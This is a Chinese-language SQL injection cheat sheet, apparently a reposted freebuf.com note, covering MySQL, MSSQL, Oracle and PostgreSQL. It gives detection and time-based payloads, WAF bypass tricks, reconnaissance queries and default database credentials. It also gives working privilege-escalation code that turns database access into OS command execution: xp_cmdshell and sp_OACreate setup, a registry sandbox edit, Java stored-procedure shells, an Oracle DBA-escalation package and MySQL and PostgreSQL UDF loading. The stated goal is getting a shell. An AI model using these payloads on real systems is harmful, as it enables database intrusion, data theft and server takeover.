sql注入的攻击与利用 – 作者:lBBBBBBl

本文仅用于技术交流,严禁用于非法用途!

本文叙述了在Mysql、MSsql、Oracle、PostgreSQL平台下的sql注入探测方式与利用,作为个人笔记,没有框架以及中间件的参与。

文章的内容并不全面,日后有接触新的方法会有补充。

探测方法

首先贴出增删改查的基本语句,加粗部分为用户可控:

mysql:

select item from table where value like db_value;

select item1,item2 from table where ‘value1′ like db_value order by ‘value2′ limit value3;

update table set db_value1=‘value1’,db_value2=value2 where ‘value3‘=db_value3;

insert into table set item1=’value1′,item2=value2;

delete from table where item=value1 order by value2;

mssql:

select item from table where value like db_value;

select item1,item2 from(

——select item1,item2,row_number()over(order by ‘value1′) as num from table) as tablename

——where num between value2and value3;

update table set db_value1=‘value1’,db_value2=value2 where ‘value3‘=db_value3;

insert into table (item1,item2) values (‘value1‘,value2);

delete table where item=value1 order by value2;

oracle:

select item from table where value like db_value;

select item1,item2 from

——(select rownum r,item1,item2 from

——(select item1,item2 from table2 order by value1) table

——where rownum <=value2) table1 where r>value3;

update table set db_value1=‘value1’,db_value2=value2 where ‘value3‘=db_value3;

insert into table (item1,item2) values (‘value1‘,value2);

delete table where item=value1 order by value2;

postgresql:

select item from table where value like db_value;

select item from table limit value1 offset value2;

update table set db_value1=‘value1’,db_value2=value2 where ‘value3‘=db_value3;

insert into table (item1,item2) values (‘value1‘,value2);

delete table where item=value1 order by value2;

然后是探测步骤和语句:

这些语句分开的时候感觉都一样,但是把上面的语句加粗的地方替换成探测语句就很明显了。

1.首先输入单引号、双引号,或者分号、小括号加引号

如果后两个响应的结果与第一个不同(或者报错),则进入下一步测试,若结果有差异,基本可以确定是布尔类型的注入;

p=value

p=value’ -> p=’ and ‘1’=1′ => p=’ and ‘1’=2′

p=value” -> p=” and “1”=1″ => p=” and “1”=2″

2.然后往payload中插入字符串连接符,判断数据库类型;

p=value

p=val’ ‘ue -> mysql

p=val’+’ue -> mssql

p=val’||’ue -> oracle、postgresql

3.如果上面的探测没有得到结果的话就可以尝试延时盲注,通过响应的延时情况判断是否存在注入;

mysql:p=’ and sleep(5)#

mssql:p=’ if ascii(…)=5 waitfor delay ‘0:0:5’–

oracle:p=’ and dbms_lock.sleep(5)–

postgresql:p=’ and pg_sleep(5)–

常用函数

mysql:

group_concat()——拼接组里面的所有字符串,用逗号分隔

concat()——将多个字符串拼接成一个字符串

concat_ws()——同上

left(str,n)——返回字符串str的前n个字符

right(str,n)——返回字符串str的后n个字符

substr(str,b,len)——从字符串str的位置b截取长度为len的子字符串

substring(str,b,len)——同上

mid(str,b,len)——同上

eval()——执行命令

system “…”——执行命令

load_file()——读取本地文件

into outfile——写文件

information_schema——保存着mysql维护的所有其他数据库信息(库名、表、用户及其权限等等)

mssql:

is_srvrolemember(‘’)——查询权限,sysadmin:系统管理员;db_owner:库权限;public:公共权限

opendatasource(provider_name,init_string)——用于反弹注入

|——provider_name:注册为用于访问数据源的OLE DB提供程序的PROGID的名称

|——init_string:链接字符串=链接地址,端口,用户名,密码,数据库名

convert()——数据类型转换,例:convert(int,@@SERVERNAME)——获取服务器主机信息

exec()——执行命令

cast()——将查询的数据转化成字符型

len()——判断字符串长度

substring(str,b,len)——从字符串str的位置b截取长度为len的子字符串

oracle:

exec()——执行命令

substr(str,b,len)——从字符串str的位置b截取长度为len的子字符串

length()——获取字符串长度

concat()——将多个字符串拼接成一个字符串

ascii()——将字符串转换为ascii码

userenv(parameter)——返回当前会话信息

postgresql:

system(”)——执行系统命令

length()——统计字符串中字符数目

substring(‘str’ from b for len)——从字符串str的位置b截取长度为len的子字符串

ascii()——将字符串转换为ascii码

chr()——将ascii码转换成字符

绕过

正常情况下服务器会对用户输入进行严格把关,这里也总结了一些常见的waf和过滤器的绕过手段:

1.大小写变种

‘uNioN SeLEcT *frOm table wHeRe username=’admin’–

2.语句中插入注释(比如用注释代替空格,like代替”=”)

‘/**/UNION/**/SELECT/**/password/**/FROM/**/table/**/WHERE/**/username/**/LIKE/**/’admin’–

3.将问题字符进行url编码,甚至二次编码

%2527%2f%2a%2a%2funion%20select%20password%20from%20table%20where%20username%20like%20%2527admin%2527–

4.使用动态查询执行

通常数据库允许动态执行sql查询,只需要向执行查询的数据库函数传递一个查询语句即可,这种办法可以用来绕过一些过滤器。若sql关键词被限制,可以尝试拼接:

  1. Mysql:’sel’ ‘ect’(” “需要编码成%20)
  2. Mssql:’sel’+’ect’(”+”需要编码成%2b)
  3. Oracle:’sel’||’ect’
  4. postgresql:’sel’||’ect’
  5. 用char()和ascii码拼接,可绕过引号限制

mysql:没有这种函数,需要自定义

mssql:exec(‘select * from table’)

oracle:execute immediate ‘select * from table’

postgresql:没有这种函数,需要自定义

5.用空字节

通常的输入过滤器都是在应用程序之外的代码实现的(IDS),这些系统一般是由原生编程语言开发而成,在原生编程语言中,根据字符串起始位置到第一个出现空字节的位置来确定字符串长度。所以说空字节就有效的终止了字符串。

%00′ union select username,password from users where username=’admin’–

6.嵌套表达式

一些过滤器会先从用户输入里剥离特定的字符或表达式,再进行处理。

seleselectct

7.利用截断

过滤器通常会对用户提供数据进行多种操作,有时操作会包括把输入截断成最大长度或调整使其位于拥有预定义MAX长度的数据库字段内,通过插入截断字符串的量+一个分隔符(如单引号),破坏语句闭合,使其产生第二个注入点。

检测方法也很简单,第一个请求为偶数个单引号,第二个请求为奇数个单引号,若存在截断漏洞,其中一个会向查询插入奇数个单引号,从而引发一个未终结的字符串,并产生数据库错误。

第一次:”””””””””””

第二次:a””””””””””’

8.宽字节注入

所谓的宽字节,实际上就是两个字节,在转换编码的过程中,将单字节的编码结合其后的编码看做两字节,即将两个字符误认为是一个宽字符而解码,GB2312、GBK、GB18030、BIG5、Shift_JIS等宽字节编码的数据库存在此漏洞,utf-8是单字符编码,用这种编码的数据库不存在此漏洞。

?id=%d5%27

#返回:誠’

#单引号没有被转义,存在宽字节注入

9.使用非标准入口点

很多waf会检查请求参数的值,但不会验证参数名,在通过搜索查询引用页进行注入可以尝试这种方法,除自定义请求机制外,很多应用会执行浏览分析功能,可以通过在搜索url的查询参数中嵌入攻击并在引用页头部提交该查询来执行sql注入。除参数名,在http头里的host、useragent等都有可能成为sql注入的攻击点。

GET /index.php HTTP/1.1
Host: www.example.org
Referer: http://www.google.com/search?hl=en&q=a’;+waitfor+delay+’0:0:30′–

10.避开自定义过滤器

需要发挥想象力,例如可以给包名加双引号,在包名前添加跳转标签等。

11.利用二阶注入

这种攻击流程大致如下:

1.攻击者在请求中提交某种经过构思的输入

2.服务器存储输入,以便后面使用并响应请求

3.攻击者提交第二个(不同的)请求

4.为处理第二个请求,服务器会检索已经存储的输入并处理,导致注入的sql语句被执行

5.若可行,服务器会对第二个请求的响应中向攻击者返回结果

在个人信息页面更新自己的用户名为a’+@@version+’a,这里经过了严格的过滤,语句没有被执行:

UPDATE table_users SET name=’a’ ‘+@@version+’ ‘a’ WHERE id=10;

后面查看个人信息的时候执行了之前构造的sql语句:

SELECT * FROM table_users WHERE username=’a’+@@version+’a’;

12.客户端sql注入

有一种场景是在客户端有一个客户端数据库,现在大多数情况下会被用于保存历史记录,如果安全限制做的不够好,攻击者可以通过一些方法把攻击语句插入到其他客户的数据库里,对其他用户造成攻击。这种攻击的效果取决于服务器规定如何使用在客户端的本地数据库,在结果判断上属于盲注的类型,因为结果不会返回给攻击者。但如果攻击者有客户端环境,在白盒情况下,可以通过反复测试得到一条精心构造后的攻击语句,然后将这条语句在线上使用,从而造成攻击。

13.混合攻击

指联合使用多种漏洞攻击服务器。

?uname=123+union+select+1,'<script>alert(1)</script>’,1

利用

渗透测试的最终目的就是为了控制对方设备,简单来讲就是getshell,sql注入也是围绕着getshell服务的,能做到的有以下几点:

1.信息收集

mysql:

  • version()——数据库版本
  • @@version_compile_os——当前操作系统
  • @@datadir——数据库路径
  • @@basedir——安装路径
  • current_user()——当前用户名
  • session_user()——连接数据库的用户名

mssql:

  • @@version()——查看数据库版本
  • exec master..xp_msver——查看系统信息
  • xp_readerrorlog 0——查看日志文件(需要exec执行)
  • sp_helpsrvrolemember——查看用户所属角色信息
  • IS_SRVROLEMEMBER(‘sysadmin’)——查看当前用户权限
  • sp_helpuser——查看当前用户

oracle:

  • v$version——数据库版本
  • product_component_version——也是数据库版本
  • dbms_output.put_line( dbms_db_version.version )——也是数据库版本,需要exec执行
  • ORACLE_HOME——数据库安装路径(直接查环境变量)
  • select member from v$logfile;——日志文件位置
  • select file_name from dba_data_files;——数据库文件路径
  • role_sys_privs——当前用户的角色权限
  • user_sys_privs——用户的系统权限
  • user_users——当前用户详细信息
  • user_role_privs——当前用户角色信息

postgresql:

  • version()——数据库版本
  • PGHOME——安装路径(环境变量)
  • user——查看所有用户
  • current_user——当前用户名
  • session_user——连接数据库的用户名

2.提权

mysql:

默认用户  密码 
root 

mof:

在windows平台下,C:/windows/system32/wbem/mof/nullevt.mof这个文件在很短的时间内会以system权限执行一次,只需要把代码存储到这个文件中就可以实现提权。要实现mof有两个前提,首先要有mof目录可写权限,比如说root用户,其次是突破–secure-file-priv限制。

udf:

udf提权是利用自定义函数的功能,将mysql账号转化为系统system权限。版本>5.1,udf文件在安装目录下的lib/plugin内(默认不存在),利用udf提权有两个前提,其中一个是用户需要对mysql库有insert和delete权限,另一个和mof一样,需要突破–secure-file-priv限制。

具体步骤:

show variables like ‘%version_%’;

#查看mysql版本是32位还是64位

show global variables like ‘secure%’;

#值=空则可以写入导出文件

show variables like ‘plugin%’;

#查看plugin目录

select ‘xxx’ into dumpfile ‘C:\\Program\ Files\\MySQL\\MySQL\ Server\ 5.4\\lib\\plugin::$INDEX_ALLOCATION

#没有则需要新建

1.官网下载mysql源码

2.找到udf_example.def和udf_example.cc

3.往udf_example.cc里面添加自定义函数

4.在udf_example.def里注册刚刚添加的函数

5.vs编译

6.提取编译后的udf文件

#自定义函数插件的编写步骤

create function lookup returns string soname ‘udf_example’;

#导入udf文件,win下为.dll后缀

select myfun(‘…’);

#利用mysql的自定义函数myfun()执行命令’…’,结果显示在查询结果中

drop function myfun;

#删除函数myfun

还有一种是反弹shell提权,本质上也属于udf提权。具体过程是讲udf文件转换成16进制,写入到数据库中,然后再导出到/lib/plugin目录,接下来的步骤就和udf提取一样。

mssql:

默认用户  密码 
sa 

sqlserver的提权有xp_cmdshell、SP_OACreate和沙盒提权三种;

xp_cmdshell:

这个提权方法出现在存储过程中,xp_cmdshell是这种存储中的其中一个能执行系统命令的脚本,要利用它提权需要先开启配置:

exec sp_configure ‘show advanced options’,1;

exec sp_configure ‘xp_cmdshell’,1;

reconfigure;

#接下来就可以执行系统命令了

exec master.dbo.xp_cmdshell ‘…’;

SP_OACreate:

主要是利用OLE对象的run方法执行系统命令,也是存储过程中能够利用的提权办法,同样需要开启配置:

exec sp_configure ‘show advanced options’,1;

exec sp_configure ‘Ole Automation Procedures’,1;

reconfigure;

#配置开启后,先声明一个变量用于存储返回的对象

declare @a int;

#然后调用wscript.shell组件,将返回的对象存储到@a变量中

exec sp_oacreate ‘wscript.shell’,@a out;

#调用cmd执行系统命令,执行结果直接输入到文件,因此返回值填null

exec sp_oamethod @a,’run’,null,’c:\windows\system32\cmd.execommand > c:\result.txt’;

exec sp_oacreate ‘wscript.shell’,@a out;

沙盒提权:

和上面的方法一样,先开启配置:

exec sp_configure ‘show advanced options’,1;

exec sp_configure ‘Ad Hoc Distributed Queries’,1;

reconfigure;

#沙盒模式参数含义:

#0=在任何所有者中禁止启用安全模式;

#1=仅在允许范围内;

#2=必须在access模式下(默认)

#3=完全开启

exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,0;

#执行命令”…”

select * from openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:/windows/system32/ias/ias.mdb’,’select shell(“…”)’);

oracle:

默认用户  密码 
sys  chang_on_install
system manager
scott tiger
Dbsnmp dbsnmp

oracle的提权分两种,第一种是create session提权,另一种是create procedure提权。需要先获取java权限或java.lang.RuntimePermission权限,后者可以执行任意代码,具体步骤如下:

create session提权:

#创建包

select dbms_xmlquery.newcontext(‘
declare PRAGMA AUTONOMOUS_TRANSACTION;
begin execute immediate ‘
‘create or replace and compile java source named “LinxUtil” as 
import java.io.*;
public class MySh extends Object {
public static String shell(String args) {
try{
BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));
String stmp,str = “”;
while ((stmp = br.readLine()) != null) str += stmp + “\n”;
br.close();
return str;
} catch (Exception e){return e.toString();}
}
}”;
commit;
end;
‘) from dual;

#获取java权限

select dbms_xmlquery.newcontext(‘
declare PRAGMA AUTONOMOUS_TRANSACTION;
begin execute immediate ‘
‘create or replace function msh(p_cmd in varchar2) return varchar2 as language java name ””MySh.shell(java.lang.String) return String””;
”;
commit;
end;
‘) from dual;

#调用函数执行命令

select msh(‘…’) from dual;

create procedure提权:

#创建包

create or replace and resolve java source named JAVACMD as

import java.lang.*;

import java.io.*;

public class MyShell{
public static void myexec(String command) throws IOException{
Runtime.getRuntime().exec(command);
}
}
/

#注册自定义函数
create or replace procedure mysys(command in varchar) as language java name ‘MyShell.myexec(java.lang.String)’;

#调用函数执行命令
EXEC mysys(‘…’);

还有一种属于漏洞提权,受影响版本<10.2.0.4,能够将普通权限用户提升成dba权限的用户,步骤如下:

登录低权限用户,如scott

然后输入下面代码:

Create or Replace

PACKAGE HACKERPACKAGE AUTHID CURRENT_USER

IS

FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env

SYS.odcienv)

RETURN NUMBER;

END;

/

执行后再输入:

DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1';
INDEX_SCHEMA := 'SCOTT';
TYPE_NAME := 'HACKERPACKAGE';
TYPE_SCHEMA := 'SCOTT';
VERSION := '10.2.0.1.0';
GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME =>
INDEX_NAME,
INDEX_SCHEMA=> INDEX_SCHEMA,
TYPE_NAME => TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA,
VERSION => VERSION,
NEWBLOCK => NEWBLOCK,
GMFLAGS => GMFLAGS);
END;
/

再次查看权限发现权限为dba用户。

postgresql:

默认用户  密码 
postgres 

在postgresql中,低版本可以直接调用system()函数,>8.2版本则需要利用udf提权,具体步骤如下:

select * from pg_language;

#查看支持的扩展语言,默认支持c

select lo_create(9023);

insert into pg_largeobject values (9023, 0, decode(‘分片后的数据’)

select lo_export(9023, ‘/tmp/udf.so’);

#编译完反弹shell后需要将文件分割成2048字节的块进行传输

create or replace function sys_eval(text) returns text as ‘/tmp/udf.so’, ‘myexec’ language c returns null on null input immutable;

#注册函数

select myexec(‘…’)

#执行命令

drop function sys_eval;

#删除函数

参考:

《sql注入攻击与防御第二版》

https://www.freesion.com/article/7583153270/

来源:freebuf.com 2021-07-30 00:08:28 by: lBBBBBBl

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论